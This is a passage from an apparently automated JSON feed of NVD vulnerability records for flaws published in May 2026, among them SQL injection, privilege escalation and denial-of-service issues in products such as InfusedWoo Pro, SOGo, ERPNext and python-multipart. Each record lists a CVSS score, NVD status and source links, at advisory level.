record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6506","cveId":"CVE-2026-6506","aliases":[],"kind":"vulnerability","title":"The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 5.1.2.","summary":"The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 5.1.2. This is due to the infusedwoo_gdpr_upddata() function missing authorization and capability checks, as well as lacking restrictions on which user meta keys can be updated. This makes it possible for authenticated attackers, with subscriber-level access and above, to update their own wp_capabilities user meta to grant themselves Administrator role privileges.","detail":"The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 5.1.2. This is due to the infusedwoo_gdpr_upddata() function missing authorization and capability checks, as well as lacking restrictions on which user meta keys can be updated. This makes it possible for authenticated attackers, with subscriber-level access and above, to update their own wp_capabilities user meta to grant themselves Administrator role privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T07:16:20.817Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6506","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6506","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6506","type":"primary","publishedAt":"2026-05-14T07:16:20.817Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46445","cveId":"CVE-2026-46445","aliases":[],"kind":"vulnerability","title":"SOGo before 5.12.7, when PostgreSQL is used, allows SQL injection.","summary":"SOGo before 5.12.7, when PostgreSQL is used, allows SQL injection.","detail":"SOGo before 5.12.7, when PostgreSQL is used, allows SQL injection.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T04:17:03.193Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PostgreSQL"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46445","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46445","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46445","type":"primary","publishedAt":"2026-05-14T04:17:03.193Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46419","cveId":"CVE-2026-46419","aliases":[],"kind":"vulnerability","title":"Yubico webauthn-server-core (aka java-webauthn-server) 2.8.0 before 2.8.2 incorrectly checks a function's return value in the second factor flow, leading to impersonation.","summary":"Yubico webauthn-server-core (aka java-webauthn-server) 2.8.0 before 2.8.2 incorrectly checks a function's return value in the second factor flow, leading to impersonation.","detail":"Yubico webauthn-server-core (aka java-webauthn-server) 2.8.0 before 2.8.2 incorrectly checks a function's return value in the second factor flow, leading to impersonation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T02:17:21.917Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46419","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46419","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46419","type":"primary","publishedAt":"2026-05-14T02:17:21.917Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32991","cveId":"CVE-2026-32991","aliases":[],"kind":"vulnerability","title":"Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.","summary":"Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.","detail":"Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T23:16:43.110Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32991","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32991","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32991","type":"primary","publishedAt":"2026-05-13T23:16:43.110Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-29206","cveId":"CVE-2026-29206","aliases":[],"kind":"vulnerability","title":"Insufficient sanitization of SQL queries in the `sqloptimizer` utility script allows SQL Injections on behalf of the root user if Slow Query logging is enabled.","summary":"Insufficient sanitization of SQL queries in the `sqloptimizer` utility script allows SQL Injections on behalf of the root user if Slow Query logging is enabled.","detail":"Insufficient sanitization of SQL queries in the `sqloptimizer` utility script allows SQL Injections on behalf of the root user if Slow Query logging is enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T23:16:42.477Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-29206","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-29206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29206","type":"primary","publishedAt":"2026-05-13T23:16:42.477Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44447","cveId":"CVE-2026-44447","aliases":[],"kind":"vulnerability","title":"ERPNext is a free and open source Enterprise Resource Planning tool.","summary":"ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.0, some endpoints were vulnerable to SQL injection through specially crafted requests, which would allow a malicious actor to extract sensitive information. This vulnerability is fixed in 16.9.0.","detail":"ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.0, some endpoints were vulnerable to SQL injection through specially crafted requests, which would allow a malicious actor to extract sensitive information. This vulnerability is fixed in 16.9.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:45.780Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"frappe","product":"erpnext","stacks":["Frappe","erpnext"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44447","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44447","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44447","type":"primary","publishedAt":"2026-05-13T22:16:45.780Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32993","cveId":"CVE-2026-32993","aliases":[],"kind":"vulnerability","title":"Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.","summary":"Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.","detail":"Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:43.143Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32993","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32993","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32993","type":"primary","publishedAt":"2026-05-13T22:16:43.143Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45229","cveId":"CVE-2026-45229","aliases":[],"kind":"vulnerability","title":"Quark Drive before 0.8.5 contains a mass assignment vulnerability in the POST /update endpoint that allows authenticated attackers to overwrite administrator credentials by...","summary":"Quark Drive before 0.8.5 contains a mass assignment vulnerability in the POST /update endpoint that allows authenticated attackers to overwrite administrator credentials by posting an arbitrary webui object to the config_data dictionary. Attackers can exploit insufficient deny-list filtering to permanently replace stored login credentials, lock out legitimate administrators, and gain persistent access to all configured tasks, cloud tokens, and notification services.","detail":"Quark Drive before 0.8.5 contains a mass assignment vulnerability in the POST /update endpoint that allows authenticated attackers to overwrite administrator credentials by posting an arbitrary webui object to the config_data dictionary. Attackers can exploit insufficient deny-list filtering to permanently replace stored login credentials, lock out legitimate administrators, and gain persistent access to all configured tasks, cloud tokens, and notification services.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T21:16:49.733Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45229","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45229","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45229","type":"primary","publishedAt":"2026-05-13T21:16:49.733Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44418","cveId":"CVE-2026-44418","aliases":[],"kind":"vulnerability","title":"EcclesiaCRM is CRM Software for church management.","summary":"EcclesiaCRM is CRM Software for church management. In 8.0.0 and earlier, the ValidateInput() function's default case in EcclesiaCRM's query view passes user-supplied POST parameters directly into SQL queries via str_replace without any sanitization, enabling SQL injection through query parameters that use non-standard validation types. This is caused by an incomplete fix for CVE-2026-35184.","detail":"EcclesiaCRM is CRM Software for church management. In 8.0.0 and earlier, the ValidateInput() function's default case in EcclesiaCRM's query view passes user-supplied POST parameters directly into SQL queries via str_replace without any sanitization, enabling SQL injection through query parameters that use non-standard validation types. This is caused by an incomplete fix for CVE-2026-35184.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T21:16:48.913Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44418","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44418","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44418","type":"primary","publishedAt":"2026-05-13T21:16:48.913Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42561","cveId":"CVE-2026-42561","aliases":[],"kind":"vulnerability","title":"Python-Multipart is a streaming multipart parser for Python.","summary":"Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.27, python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion. This vulnerability is fixed in 0.0.27.","detail":"Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.27, python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion. This vulnerability is fixed in 0.0.27.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T21:16:47.070Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42561","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42561","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42561","type":"primary","publishedAt":"2026-05-13T21:16:47.070Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21821","cveId":"CVE-2026-21821","aliases":[],"kind":"vulnerability","title":"The HCL BigFix SCM Reporting site contains an outdated and unsupported version of the jQuery 1.x library.","summary":"The HCL BigFix SCM Reporting site contains an outdated and unsupported version of the jQuery 1.x library. Since jQuery 1.x has reached end-of-life and no longer receives security updates, it may expose the application to publicly known security weaknesses and increase the risk of client-side attacks such as Cross-Site Scripting (XSS) or manipulation through vulnerable third-party components.","detail":"The HCL BigFix SCM Reporting site contains an outdated and unsupported version of the jQuery 1.x library. Since jQuery 1.x has reached end-of-life and no longer receives security updates, it may expose the application to publicly known security weaknesses and increase the risk of client-side attacks such as Cross-Site Scripting (XSS) or manipulation through vulnerable third-party components.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T21:16:41.590Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-21821","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-21821","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21821","type":"primary","publishedAt":"2026-05-13T21:16:41.590Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and 